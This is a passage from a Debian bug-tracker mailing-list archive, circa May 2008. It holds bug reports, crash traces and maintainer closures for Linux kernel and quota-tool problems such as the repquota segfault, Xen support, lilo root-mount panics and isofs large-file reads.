quotactl(Q_XGETQSTAT|USRQUOTA, /dev/sda3, 0, {983041, 2147, 8, 8, 3017, 7, 7,
2597596220620863}) = 0
--- SIGSEGV (Segmentation fault) @ 0 (0) ---
+++ killed by SIGSEGV +++
Is it a fixable problem?
Thanks,
Alex
-- System Information:
Debian Release: 4.0
APT prefers stable
APT policy: (500, 'stable'), (200, 'testing')
Architecture: i386 (x86_64)
Shell: /bin/sh linked to /bin/bash
Kernel: Linux 2.6.22-2-amd64
Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8)
Versions of packages quota depends on:
ii debconf 1.5.11 Debian configuration management sy
ii e2fslibs 1.39+1.40-WIP-2006.11.14+dfsg-2 ext2 filesystem libraries
ii libc62.6.1-1+b1 GNU C Library: Shared libraries
ii libcomer 1.39+1.40-WIP-2006.11.14+dfsg-2 common error description library
ii libldap2 2.1.30-13.3 OpenLDAP libraries
ii libssl0. 0.9.8g-1SSL shared libraries
ii libwrap0 7.6.dbs-13 Wietse Venema's TCP wrappers libra
ii lsb-base 3.1-23.2etch1 Linux Standard Base 3.1 init scrip
quota recommends no packages.
-- debconf information excluded
---End Message---
---BeginMessage---
Version: 2.6.23-1
fixed upstream with b716395e2b8e450e294537de0c91476ded2f0395
commit diskquota: 32bit quota tools on 64bit architectures
--
maks
---End Message---
Bug#460255: marked as done (repquota and setquota crashes on 64bit kernel)
Your message dated Tue, 20 May 2008 20:57:49 +0200
with message-id [EMAIL PROTECTED]
and subject line Re: repquota and setquota crashes on 64bit kernel
has caused the Debian Bug report #460255,
regarding repquota and setquota crashes on 64bit kernel
to be marked as done.
This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.
(NB: If you are a system administrator and have no idea what this
message is talking about, this may indicate a serious mail system
misconfiguration somewhere. Please contact [EMAIL PROTECTED]
immediately.)
--
460255: http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=460255
Debian Bug Tracking System
Contact [EMAIL PROTECTED] with problems
---BeginMessage---
Package: quota
Version: 3.15-6
Severity: important
Hello,
I'm using a 32 bit Lenny system with (official) kernel
linux-image-2.6.22-3-amd64.
Everything is working fine except for the tools in the quota package, as for
example
repquota and setquota. Here is a strace output:
# strace repquota -a
execve(/usr/sbin/repquota, [repquota, -a], [/* 21 vars */]) = 0
brk(0) = 0x56579000
access(/etc/ld.so.nohwcap, F_OK) = -1 ENOENT (No such file or directory)
mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) =
0xf7f7c000
access(/etc/ld.so.preload, R_OK) = -1 ENOENT (No such file or directory)
open(/etc/ld.so.cache, O_RDONLY) = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=20598, ...}) = 0
mmap2(NULL, 20598, PROT_READ, MAP_PRIVATE, 3, 0) = 0xf7f76000
close(3)= 0
access(/etc/ld.so.nohwcap, F_OK) = -1 ENOENT (No such file or directory)
open(/lib/i686/cmov/libc.so.6, O_RDONLY) = 3
read(3, \177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\260e\1..., 512) = 512
fstat64(3, {st_mode=S_IFREG|0755, st_size=1356196, ...}) = 0
mmap2(NULL, 1361520, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) =
0xf7e29000
mmap2(0xf7f7, 12288, PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x147) = 0xf7f7
mmap2(0xf7f73000, 9840, PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xf7f73000
close(3)= 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) =
0xf7e28000
set_thread_area({entry_number:-1 - 12, base_addr:0xf7e286b0, limit:1048575,
seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1,
seg_not_present:0, useable:1}) = 0
mprotect(0xf7f7, 4096, PROT_READ) = 0
munmap(0xf7f76000, 20598) = 0
brk(0) = 0x56579000
brk(0x5659a000) = 0x5659a000
open(/usr/lib/locale/locale-archive, O_RDONLY|O_LARGEFILE) = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=86052672, ...}) = 0
mmap2(NULL, 2097152, PROT_READ, MAP_PRIVATE, 3, 0x20) = 0xf7c28000
mmap2(NULL, 4096, PROT_READ, MAP_PRIVATE, 3, 0x1000) = 0xf7f7b000
close(3)= 0
open(/etc/nsswitch.conf, O_RDONLY|O_LARGEFILE) = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=465, ...}) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0x1000)
= 0xf7f7a000
read(3, # /etc/nsswitch.conf\n#\n# Example..., 4096) = 465
close(3)= 0
munmap(0xf7f7a000, 4096)= 0
rt_sigaction(SIGSEGV, {SIG_DFL}, {SIG_DFL}, 8) = 0
stat64(/proc/fs/xfs/stat, {st_mode=S_IFREG|0444, st_size=0, ...}) = 0
stat64(/proc/sys/fs/quota, {st_mode=S_IFDIR|0555, st_size=0, ...}) = 0
rt_sigaction(SIGSEGV, {SIG_DFL}, NULL, 8) = 0
open(/etc/mtab, O_RDONLY) = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=467, ...}) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0x1000)
= 0xf7f7a000
read(3, /dev/sda1 / ext3 rw,noatime,erro..., 4096) = 467
quotactl(Q_XGETQSTAT|USRQUOTA, /dev/sda3, 0, {983041, 2147, 8, 8, 3017, 7, 7,
2597596220620870}) = 0
--- SIGSEGV (Segmentation fault) @ 0 (0) ---
+++ killed by SIGSEGV +++
-- System Information:
Debian Release: lenny/sid
APT prefers testing
APT policy: (200, 'testing'), (50, 'unstable')
Architecture: i386 (x86_64)
Kernel: Linux 2.6.22-3-amd64 (SMP w/4 CPU cores)
Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/bash
Versions of packages quota depends on:
ii deb 1.5.11 Debian configuration management sy
ii e2f 1.39+1.40-WIP-2006.11.14+dfsg-2etch1 ext2 filesystem libraries
ii lib 2.7-4GNU C Library: Shared libraries
ii lib 1.39+1.40-WIP-2006.11.14+dfsg-2 common error description library
ii lib 2.1.30-13.3 OpenLDAP libraries
ii lib 0.9.8g-1 SSL shared libraries
ii lib 7.6.dbs-13 Wietse Venema's TCP wrappers libra
ii lsb 3.1-24 Linux Standard Base 3.1
Bug#454604: marked as done (linux-2.6: Xen kernel packages for 2.6.22)
Your message dated Tue, 20 May 2008 21:09:22 +0200 with message-id [EMAIL PROTECTED] and subject line Re: linux-2.6: Xen kernel packages for 2.6.22 has caused the Debian Bug report #454604, regarding linux-2.6: Xen kernel packages for 2.6.22 to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what this message is talking about, this may indicate a serious mail system misconfiguration somewhere. Please contact [EMAIL PROTECTED] immediately.) -- 454604: http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=454604 Debian Bug Tracking System Contact [EMAIL PROTECTED] with problems ---BeginMessage--- Package: linux-2.6 Version: 2.6.22-6 I've been unable to find an official debian kernel which has Xen supporter after 2.6.18-5 (released with etch). While I realize there were changes in later kernels that complicated the patches, Ubuntu has had Xen support for 2.6.22 for nearly 3 months (see https://bugs.launchpad.net/ubuntu/+source/linux-source-2.6.22/+bug/132726). Can you please integrate their Xen patchesets into the official Debian kernels? I'd be fine with them at least showing up in experimental to start. Thanks, Brian -- Brian Almeida http://thunderkeys.net ---End Message--- ---BeginMessage--- Version: 2.6.25-1 aboves version has xen guest aka domU support enabled. we will strive for dom0 support for 2.6.26 based on paravirt ops, but can't promise yet. anyway xen packages are build with available xen options thus closing. -- maks ---End Message---
Processed: reassign 439072 to alsa-base
Processing commands for [EMAIL PROTECTED]: # Automatically generated email from bts, devscripts version 2.10.27 reassign 439072 alsa-base Bug#439072: recording requires 2ch (not 4ch) with snd-intel8x0 Bug reassigned from package `linux-2.6' to `alsa-base'. End of message, stopping processing here. Please contact me if you need assistance. Debian bug tracking system administrator (administrator, Debian Bugs database) -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Processed: Re: Bug#482100: linux-image-2.6.25-3-686-bigmem : Complete system freeze
Processing commands for [EMAIL PROTECTED]: reassign 482100 linux-2.6 Bug#482100: linux-image-2.6.25-3-686-bigmem : Complete system freeze Warning: Unknown package 'linux-image-2.6.25-3-686-bigmem' Bug reassigned from package `linux-image-2.6.25-3-686-bigmem' to `linux-2.6'. -- Stopping processing here. Please contact me if you need assistance. Debian bug tracking system administrator (administrator, Debian Bugs database) -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#482100: linux-image-2.6.25-3-686-bigmem : Complete system freeze
Package: linux-image-2.6.25-3-686-bigmem Version: 2.6.25-3-686-bigmem Severity: important I've tried building 2.6.25 Sid kernel from sources with my working .config, resulting in complete system freeze a few minutes or seconds after starting the new kernel. Same result with different config options. So, to rule out misconfiguration I installed the 2.6.25-3-686-bigmem from Sid, it leads to the same result : complete system freeze a few minutes after boot. To rule out alien module responsibility i let the computer run in console mode, no x-server running, no external module loaded (I usually use nvidia's blob and uvcvideo from svn). I got the same symptoms : computer totally non-responsive, keyboard frozen, no input possible. The only output I got before the freeze was : === BUG: soft lockup - cpu#0 stuck for 61s! [cc:6671] Pid:6671, comm: cc Not tainted (2.6.25-1-686-bigmem #1) EIP: 0060:[c010f82d] EFLAGS: 0202 CPU: 0 EIP is at native_flush_tlb_others+0x73/0x94 EAX: 0202 EBX: f6824900 ECX: b300 EDX: 08fd ESI: EDI: f6df2804 EBP: f64ea000 ESP: f64ebf40 DS: 007b ES: 007b FS: 00g8 GS: SS: 0068 CR0: 8005003b CR2: 400cfeb4 CR3: 0035e000 CR4: 06f0 DR0: DR1: DR2: DR3: DR6: 0ff0 DR7: 0400 [c010f7b5] ? flush_tlb_mm+0x5b/0x60 [c0167657] ? exit_mmap+0x98/0xce [c0120d1e] ? mmput+0x20/0x75 [c01256c5] ? do_exit+0x1e5/0x5c9 [c0125b14] ? do_group_exit+0x6b/0x82 [c01047e4] ? sysenter_past_esp+0x6d/0xa5 === I could not find anything else outside of a few messages regarding lost interrupts, randomly appearing from boot time to the freeze. The same machine has been running Debian Lenny happily ever before, and still is on custom compiled 2.6.24 kernel. I've just tried compiling a vanilla kernel from kernel.org, with the same result, so it's most probably version related and not Debian only related, I'll file a report there too. -- Package-specific info: -- System Information: Debian Release: lenny/sid APT prefers testing APT policy: (990, 'testing'), (500, 'unstable'), (500, 'stable'), (1, 'experimental') Architecture: i386 (i686) Kernel: Linux 2.6.24-speedy2 (SMP w/2 CPU cores) Locale: LANG=fr_FR.UTF-8, LC_CTYPE=fr_FR.UTF-8 (charmap=UTF-8) Shell: /bin/sh linked to /bin/bash Versions of packages linux-image-2.6.25-3-686-bigmem depends on: ii debconf [debconf-2.0] 1.5.21 Debian configuration management sy ii initramfs-tools [linux-initra 0.92a tools for generating an initramfs ii module-init-tools 3.4-1 tools for managing Linux kernel mo Versions of packages linux-image-2.6.25-3-686-bigmem recommends: ii libc6-i6862.7-10 GNU C Library: Shared libraries [i -- debconf information: linux-image-2.6.25-3-686-bigmem/preinst/overwriting-modules-2.6.25-3-686-bigmem: true linux-image-2.6.25-3-686-bigmem/prerm/removing-running-kernel-2.6.25-3-686-bigmem: true shared/kernel-image/really-run-bootloader: true linux-image-2.6.25-3-686-bigmem/postinst/depmod-error-2.6.25-3-686-bigmem: false linux-image-2.6.25-3-686-bigmem/postinst/old-dir-initrd-link-2.6.25-3-686-bigmem: true linux-image-2.6.25-3-686-bigmem/preinst/abort-overwrite-2.6.25-3-686-bigmem: linux-image-2.6.25-3-686-bigmem/preinst/lilo-has-ramdisk: linux-image-2.6.25-3-686-bigmem/preinst/bootloader-initrd-2.6.25-3-686-bigmem: true linux-image-2.6.25-3-686-bigmem/preinst/elilo-initrd-2.6.25-3-686-bigmem: true linux-image-2.6.25-3-686-bigmem/preinst/initrd-2.6.25-3-686-bigmem: linux-image-2.6.25-3-686-bigmem/postinst/old-initrd-link-2.6.25-3-686-bigmem: true linux-image-2.6.25-3-686-bigmem/postinst/bootloader-test-error-2.6.25-3-686-bigmem: linux-image-2.6.25-3-686-bigmem/postinst/create-kimage-link-2.6.25-3-686-bigmem: true linux-image-2.6.25-3-686-bigmem/postinst/old-system-map-link-2.6.25-3-686-bigmem: true linux-image-2.6.25-3-686-bigmem/prerm/would-invalidate-boot-loader-2.6.25-3-686-bigmem: true linux-image-2.6.25-3-686-bigmem/postinst/kimage-is-a-directory: linux-image-2.6.25-3-686-bigmem/preinst/lilo-initrd-2.6.25-3-686-bigmem: true linux-image-2.6.25-3-686-bigmem/postinst/depmod-error-initrd-2.6.25-3-686-bigmem: false linux-image-2.6.25-3-686-bigmem/preinst/abort-install-2.6.25-3-686-bigmem: linux-image-2.6.25-3-686-bigmem/preinst/failed-to-move-modules-2.6.25-3-686-bigmem: linux-image-2.6.25-3-686-bigmem/postinst/bootloader-error-2.6.25-3-686-bigmem: -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#479101: #479101: Kernel panic: Unable to mount root also with 2.6.25-3
found 479101 2.6.25-3 thanks Hello, I have the described problem also with linux-image-2.6.25-2-amd64 2.6.25-3. -- Noèl Köthe noel debian.org Debian GNU/Linux, www.debian.org signature.asc Description: Dies ist ein digital signierter Nachrichtenteil
Processed: Re: Bug#479101: #479101: Kernel panic: Unable to mount root also with 2.6.25-3
Processing commands for [EMAIL PROTECTED]: reassign 479101 linux-2.6 Bug#479101: linux-image-2.6.25-1-amd64: Kernel panic: Unable to mount root Warning: Unknown package 'linux-image-2.6.25-1-amd64' Bug reassigned from package `linux-image-2.6.25-1-amd64' to `linux-2.6'. -- Stopping processing here. Please contact me if you need assistance. Debian bug tracking system administrator (administrator, Debian Bugs database) -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#449460: closed by maximilian attems [EMAIL PROTECTED] (Re: linux/videodev2.h error: timestamp has incomplete type)
Debian Bug Tracking System wrote: This is an automatic notification regarding your Bug report which was filed against the linux-libc-dev package: #449460: linux/videodev2.h error: timestamp has incomplete type It has been closed by maximilian attems [EMAIL PROTECTED]. Their explanation is attached below along with your original report. If this explanation is unsatisfactory and you have not received a better one in a separate message then please contact maximilian attems [EMAIL PROTECTED] by replying to this email. Brilliant Max. Thanks for all your hard work. I haven't had a chance to verify the fix but it's wonderful just to see it getting attention. Cheers, - Philip -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#479101: #479101: Kernel panic: Unable to mount root also with 2.6.25-3
On Tue, May 20, 2008 at 10:45:23PM +0200, Noèl Köthe wrote: found 479101 2.6.25-3 thanks Hello, I have the described problem also with linux-image-2.6.25-2-amd64 2.6.25-3. this is a lilo bug, haven't seen much reaction from lilo maintainer/dev side yet. see http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=479607#96 and followups for workaround. seems lilo is passing full initramfs due to some size limitation. -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#449460: closed by maximilian attems [EMAIL PROTECTED] (Re: linux/videodev2.h error: timestamp has incomplete type)
On Tue, May 20, 2008 at 05:36:26PM -0400, Philip Tricca wrote: Brilliant Max. Thanks for all your hard work. I haven't had a chance to verify the fix but it's wonderful just to see it getting attention. Cheers, - Philip it's in the maintainer responsibility to close bugs fixed in unstable. how about mr brilliant if you had better tracked recent linux images or upstream!? i even named you the git commit fix, trivial to verify. kthxbye -- maks -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Processed: severity of 479101 is important
Processing commands for [EMAIL PROTECTED]: # Automatically generated email from bts, devscripts version 2.10.27 severity 479101 important Bug#479101: linux-image-2.6.25-1-amd64: Kernel panic: Unable to mount root Severity set to `important' from `grave' End of message, stopping processing here. Please contact me if you need assistance. Debian bug tracking system administrator (administrator, Debian Bugs database) -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#372261: marked as done (kernel-2.6.8-2-686-smp: kernel panics when running libmicro flock tests)
Your message dated Wed, 21 May 2008 02:06:31 +0200 with message-id [EMAIL PROTECTED] and subject line Re: kernel-2.6.8-2-686-smp: kernel panics when running libmicro flock tests has caused the Debian Bug report #372261, regarding kernel-2.6.8-2-686-smp: kernel panics when running libmicro flock tests to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what this message is talking about, this may indicate a serious mail system misconfiguration somewhere. Please contact [EMAIL PROTECTED] immediately.) -- 372261: http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=372261 Debian Bug Tracking System Contact [EMAIL PROTECTED] with problems ---BeginMessage--- Package: kernel-2.6.8-2-686-smp Version: kernel-image-2.6.8-2-686-smp Severity: normal libMicro is benchmarking tool that was originally used for identifying performance bottlenecks in Solaris 10 kernel and system library implementation. When running a series of tests for flock syscall kernel panics happen with ~30% probability. How to reproduce: - Libmicro version 0.3.0 source tarball was taken from http://www.opensolaris.org/os/community/performance/libmicro/ - it was compiled simply by running 'make' with no special options - then the test suit was launched by 'bench' script Kernel panics were encountered on two different machines: Scenario 1: Hardware configuration: Processors: 2 x AMD Opteron 246 (2Ghz) Motherboard: Iwill DK8S2 (AMD-8131/8111) Memory: 2 x 512Mb DDR-400 HDD: Seagate ST380011A (80Gb) Filesystem: reiserfs 3.6 Distribution: Debian sarge 3.1r2 kernel: kernel-image-2.6.8-2-686-smp2.6.8-16sarge1 Problem descrition: when running tests c_flock_ multiple cascade_flock processes hang waiting for event that never happens. Runinng killall cascade_flock brings the following: Printing eip: c0f06f20 *pde= [c01a62562] work_notifysig +0x13/0x15 Unable to handle kernel NULL pointer dereference at virtual address 0001 Note: After replacing kernel by linux-image-2.6.16-2-686-smp (2.6.16-13bpo1) from backports.org this problem never happened. Scenario 2: Hardware configuration: Processor: Athlon 64 x2 3800+ DDR-400, Motherboard: Asus K8Ne Memory: 2 x 1Gb DDR-400 HDD: Western Digital WD1600 Filesystem: ext3, reiserfs 3.6 Distribution: Debian sarge 3.1r2 kernel: kernel-image-2.6.8-2-686-smp2.6.8-16sarge1 Problem description: when running test c_flock_10 got Kernel panic: attempting to free local with active block list Of course situation with running benchmarking tool is much different from common OS usage pattern. So this report was sent just in hope that this information may be somewhat useful if the situation described has something to do with kernel stability in general. If it's not then please just ignore it. Sincerelly, Ivan -- System Information: Debian Release: 3.1 Architecture: i386 (i686) Kernel: Linux 2.6.8-2-686-smp Locale: LANG=ru_RU.KOI8-R, LC_CTYPE=ru_RU.KOI8-R (charmap=KOI8-R) ---End Message--- ---BeginMessage--- Version: 2.6.16-1 Package: kernel-2.6.8-2-686-smp closing as sarge no longer suported. After replacing kernel by linux-image-2.6.16-2-686-smp (2.6.16-13bpo1) from backports.org this problem never happened. adding versioning info. etch contains newer, lenny of course too. enjoy your debian box. -- maks ---End Message---
Bug#352722: marked as done (linux-image-2.6-686-smp: Does not allow to activate DMA on DVD-RW drive)
Your message dated Wed, 21 May 2008 02:23:15 +0200 with message-id [EMAIL PROTECTED] and subject line Re: linux-image-2.6-686-smp: Does not allow to activate DMA on DVD-RW drive has caused the Debian Bug report #352722, regarding linux-image-2.6-686-smp: Does not allow to activate DMA on DVD-RW drive to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what this message is talking about, this may indicate a serious mail system misconfiguration somewhere. Please contact [EMAIL PROTECTED] immediately.) -- 352722: http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=352722 Debian Bug Tracking System Contact [EMAIL PROTECTED] with problems ---BeginMessage--- Package: linux-image-2.6-686-smp Version: 2.6.15-6 Severity: important Tags: patch I recently installed a Pioneer DVD-RW drive (DVR-110D) on my PC and I couldn't get it to write at full speed. Tried to activate DMA with hdparm -d1 /dev/hda but got a message: Operation not permitted. I have a motherboard with Intel 865 chipset, one SATA hard drive (/dev/sda) and the DVD drive. I found that DMA support worked under Ubuntu 5.10 and Knoppix 4.0.2 and after analyzing the logs and lsmod output realized that both distros have ide-core support built in, so it started earlier in the boot process than in Debian where it is a module. Tried to make it load before but didn't get it. I was just about to recompile to test but thought about passing a parameter to the kernel to force earlier loading. Passed hdc=cdrom, and although it didn't load before libata this time hdparm worked and I could write at full speed. I passed the patch tag because I found a workaround for the problem, hope it isn't too wrong. If you need more info I'm willing to help. Thanks in advance. -- System Information: Debian Release: testing/unstable Architecture: i386 (i686) Shell: /bin/sh linked to /bin/bash Kernel: Linux 2.6.15-4-crux-20060204a Locale: LANG=en_US.UTF-8, LC_CTYPE=es_AR.UTF-8 (charmap=UTF-8) Versions of packages linux-image-2.6-686-smp depends on: ii linux-image-2.6.15-1-686-smp 2.6.15-6 Linux kernel 2.6.15 image on PPro/ linux-image-2.6-686-smp recommends no packages. -- no debconf information ---End Message--- ---BeginMessage--- closing as if it was a kernel bug it is surely fixed in newer 2.6.24. maybe an yaird bug, but no followup from initial report. not worth to keep lying around. -- maks ---End Message---
Bug#368166: marked as done (isofs with joliet extensions cannot read large files)
Your message dated Wed, 21 May 2008 02:21:37 +0200 with message-id [EMAIL PROTECTED] and subject line RE: isofs with joliet extensions cannot read large files has caused the Debian Bug report #368166, regarding isofs with joliet extensions cannot read large files to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what this message is talking about, this may indicate a serious mail system misconfiguration somewhere. Please contact [EMAIL PROTECTED] immediately.) -- 368166: http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=368166 Debian Bug Tracking System Contact [EMAIL PROTECTED] with problems ---BeginMessage--- Package: linux-2.6 Version: 2.6.15-8 Severity: important I received a CD that include a large file (165Mb). When I mount it on Linux I cannot see the complete file. If I start reading the file then I get and EOF at about 64Mb. When I mount the CD on Windows or Mac OSX then the content is completele visible. I think this is priority important since the application never receive an error. The application just think the file is smaller and correct. This is dmesg output: ISO 9660 Extensions: Microsoft Joliet Level 3 ISOFS: changing to secondary root isofs_read_level3_size: More than 100 file sections ?!?, aborting... isofs_read_level3_size: inode=1413 isofs_read_level3_size: More than 100 file sections ?!?, aborting... isofs_read_level3_size: inode=1415 isofs_read_level3_size: More than 100 file sections ?!?, aborting... isofs_read_level3_size: inode=1418 isofs_read_level3_size: More than 100 file sections ?!?, aborting... isofs_read_level3_size: inode=1420 isofs_read_level3_size: More than 100 file sections ?!?, aborting... isofs_read_level3_size: inode=1423 isofs_read_level3_size: More than 100 file sections ?!?, aborting... isofs_read_level3_size: inode=1425 isofs_read_level3_size: More than 100 file sections ?!?, aborting... isofs_read_level3_size: inode=1427 isofs_read_level3_size: More than 100 file sections ?!?, aborting... isofs_read_level3_size: inode=1430 isofs_read_level3_size: More than 100 file sections ?!?, aborting... isofs_read_level3_size: inode=1432 isofs_read_level3_size: More than 100 file sections ?!?, aborting... isofs_read_level3_size: inode=1434 isofs_read_level3_size: More than 100 file sections ?!?, aborting... isofs_read_level3_size: inode=1437 isofs_read_level3_size: More than 100 file sections ?!?, aborting... isofs_read_level3_size: inode=1439 isofs_read_level3_size: More than 100 file sections ?!?, aborting... isofs_read_level3_size: inode=1442 isofs_read_level3_size: More than 100 file sections ?!?, aborting... isofs_read_level3_size: inode=1444 isofs_read_level3_size: More than 100 file sections ?!?, aborting... isofs_read_level3_size: inode=1446 isofs_read_level3_size: More than 100 file sections ?!?, aborting... isofs_read_level3_size: inode=1449 isofs_read_level3_size: More than 100 file sections ?!?, aborting... isofs_read_level3_size: inode=1451 isofs_read_level3_size: More than 100 file sections ?!?, aborting... isofs_read_level3_size: inode=1453 isofs_read_level3_size: More than 100 file sections ?!?, aborting... isofs_read_level3_size: inode=1456 isofs_read_level3_size: More than 100 file sections ?!?, aborting... isofs_read_level3_size: inode=1458 isofs_read_level3_size: More than 100 file sections ?!?, aborting... isofs_read_level3_size: inode=1461 isofs_read_level3_size: More than 100 file sections ?!?, aborting... isofs_read_level3_size: inode=1463 isofs_read_level3_size: More than 100 file sections ?!?, aborting... isofs_read_level3_size: inode=1465 isofs_read_level3_size: More than 100 file sections ?!?, aborting... isofs_read_level3_size: inode=1468 isofs_read_level3_size: More than 100 file sections ?!?, aborting... isofs_read_level3_size: inode=1472 isofs_read_level3_size: More than 100 file sections ?!?, aborting... isofs_read_level3_size: inode=1474 isofs_read_level3_size: More than 100 file sections ?!?, aborting... isofs_read_level3_size: inode=1476 isofs_read_level3_size: More than 100 file sections ?!?, aborting... isofs_read_level3_size: inode=1479 isofs_read_level3_size: More than 100 file sections ?!?, aborting... isofs_read_level3_size: inode=1481 isofs_read_level3_size: More than 100 file sections ?!?, aborting... isofs_read_level3_size: inode=1483 isofs_read_level3_size: More than 100 file sections ?!?, aborting... isofs_read_level3_size: inode=1486 isofs_read_level3_size: More than 100 file sections ?!?, aborting... isofs_read_level3_size: inode=1488 isofs_read_level3_size: More than 100 file sections ?!?, aborting... isofs_read_level3_size: inode=1491 isofs_read_level3_size: More than 100 file sections ?!?, aborting... isofs_read_level3_size: inode=1493 isofs_read_level3_size: More than 100 file sections ?!?,
Bug#347810: marked as done (linux-image-2.6.15-1-686: Doesn't autoconfig ipv6 address when a network interface goes down and up)
Your message dated Wed, 21 May 2008 02:24:20 +0200 with message-id [EMAIL PROTECTED] and subject line Re: linux-image-2.6.15-1-686: Doesn't autoconfig ipv6 address when a network interface goes down and up has caused the Debian Bug report #347810, regarding linux-image-2.6.15-1-686: Doesn't autoconfig ipv6 address when a network interface goes down and up to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what this message is talking about, this may indicate a serious mail system misconfiguration somewhere. Please contact [EMAIL PROTECTED] immediately.) -- 347810: http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=347810 Debian Bug Tracking System Contact [EMAIL PROTECTED] with problems ---BeginMessage--- Package: linux-image-2.6.15-1-686 Version: 2.6.15-2 Severity: normal Hi, After doing: ip link set interface down ip link set interface up The interface doesn't get an autoconfigured ipv6 address. With kernels = 2.6.15 this worked fine. To work around it i have to reload the module for the network card. This happens both on my desktop with a 3com network card and on my powerbook which has a sungem. So it doesn't appear to be a driver problem. Sjoerd -- System Information: Debian Release: testing/unstable APT prefers unstable APT policy: (500, 'unstable') Architecture: i386 (i686) Shell: /bin/sh linked to /bin/dash Kernel: Linux 2.6.15-1-686 Locale: LANG=C, [EMAIL PROTECTED] (charmap=ISO-8859-15) Versions of packages linux-image-2.6.15-1-686 depends on: ii initramfs-tools [linux-initra 0.48 tools for generating an initramfs ii module-init-tools 3.2.2-1tools for managing Linux kernel mo ii yaird [linux-initramfs-tool] 0.0.12-3 Yet Another mkInitRD Versions of packages linux-image-2.6.15-1-686 recommends: ii libc6-i6862.3.5-11 GNU C Library: Shared libraries [i -- debconf information: linux-image-2.6.15-1-686/postinst/kimage-is-a-directory: linux-image-2.6.15-1-686/preinst/overwriting-modules-2.6.15-1-686: true linux-image-2.6.15-1-686/postinst/depmod-error-initrd-2.6.15-1-686: false linux-image-2.6.15-1-686/postinst/bootloader-error-2.6.15-1-686: linux-image-2.6.15-1-686/postinst/bootloader-test-error-2.6.15-1-686: linux-image-2.6.15-1-686/preinst/lilo-has-ramdisk: linux-image-2.6.15-1-686/preinst/failed-to-move-modules-2.6.15-1-686: linux-image-2.6.15-1-686/postinst/old-system-map-link-2.6.15-1-686: true linux-image-2.6.15-1-686/preinst/abort-install-2.6.15-1-686: linux-image-2.6.15-1-686/preinst/abort-overwrite-2.6.15-1-686: linux-image-2.6.15-1-686/preinst/bootloader-initrd-2.6.15-1-686: true linux-image-2.6.15-1-686/prerm/would-invalidate-boot-loader-2.6.15-1-686: true linux-image-2.6.15-1-686/preinst/lilo-initrd-2.6.15-1-686: true linux-image-2.6.15-1-686/postinst/old-initrd-link-2.6.15-1-686: true linux-image-2.6.15-1-686/postinst/old-dir-initrd-link-2.6.15-1-686: true * linux-image-2.6.15-1-686/preinst/already-running-this-2.6.15-1-686: linux-image-2.6.15-1-686/preinst/initrd-2.6.15-1-686: linux-image-2.6.15-1-686/postinst/depmod-error-2.6.15-1-686: false linux-image-2.6.15-1-686/postinst/create-kimage-link-2.6.15-1-686: true linux-image-2.6.15-1-686/prerm/removing-running-kernel-2.6.15-1-686: true linux-image-2.6.15-1-686/preinst/elilo-initrd-2.6.15-1-686: true ---End Message--- ---BeginMessage--- Version: 2.6.15-8 fixed in some 2.6.15 stable release as mentioned in bug report. thanks for report :) -- maks ---End Message---
